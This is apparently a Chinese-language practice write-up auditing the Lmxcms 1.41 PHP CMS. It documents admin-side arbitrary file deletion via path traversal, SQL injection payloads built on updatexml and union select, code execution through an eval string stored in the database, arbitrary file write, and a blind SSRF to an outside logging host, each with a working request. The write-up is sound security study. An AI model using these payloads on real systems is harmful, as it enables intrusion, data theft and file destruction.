Php审计练习 Lmxcms1.41

安装

http://127.0.0.1/index.php?m=类前缀&a=类内方法

url基本就是这样的

web根目录放了一个Index.php和一个admin.php,他们分别定义了RUN_TYPE,又分别包含了run.inc.php,如果是从admin.php进,就是后台的那一套方法

image-20240520105022255

后台任意文件删除

漏洞位置:BackdbAction.class.php

这个删除行为没有做任何鉴权,只要登录了后台就可以进行操作

image-20240520104259138

跟进delOne方法,它直接拼接了,没有采取任何过滤

image-20240520105544567

甚至可以跨目录删除 /admin.php?m=Backdb&a=delbackdb&filename=../flag.txt

接下来再看另一个批量删除delmorebackdb方法

image-20240520105851827

filename换成数组post传过去就行了

image-20240520110718000

后台SQL注入

漏洞位置:AcquisiAction.class.php

cid的值会被拼接到where后面进行sql执行

image-20240520113709206

image-20240520113704325

image-20240520113750586

跟进where函数

image-20240520113813829

http://localhost/admin.php?m=Acquisi&a=showCjData&id=1&lid=1&cid=1 union select updatexml(1,concat(0x7e,(select @@version),0x7e),1)

http://localhost/admin.php?m=Acquisi&a=showCjData&id=1&lid=1&cid=-1 union select 1,2,3,4,database(),6,7-- -

后台代码执行

漏洞位置:AcquisiAction.class.php

存在SQL注入 代码执行

showCjData中lid和id只要存在就行,cid对应lmx_cj_data内的id字段

在表内加入这条数据

eval(‘$data=1;phpinfo();//‘)

访问

/admin.php?m=Acquisi&a=showCjData&cid=1&lid=3&id=1

后台任意文件写入

**漏洞位置:**TemplateAction.class.php

poc如下

image-20240520145130396

定位到这里

image-20240520145150122

跟进put方法,未作过滤

image-20240520145211177

dir控制上传的位置,filename和temcontent分别控制文件名和内容

它也可以覆盖文件

后台无回显ssrf漏洞

漏洞位置:/c/admin/AcquisiAction.class.php

GET /admin.php?m=Acquisi&a=testListContentUrl&listurl=http://t6n089.ceye.io

一直跟进,没有任何过滤,最后好像是通过php内置的curl进行http请求

image-20240520150957185

image-20240520151011027

image-20240520151026809

0%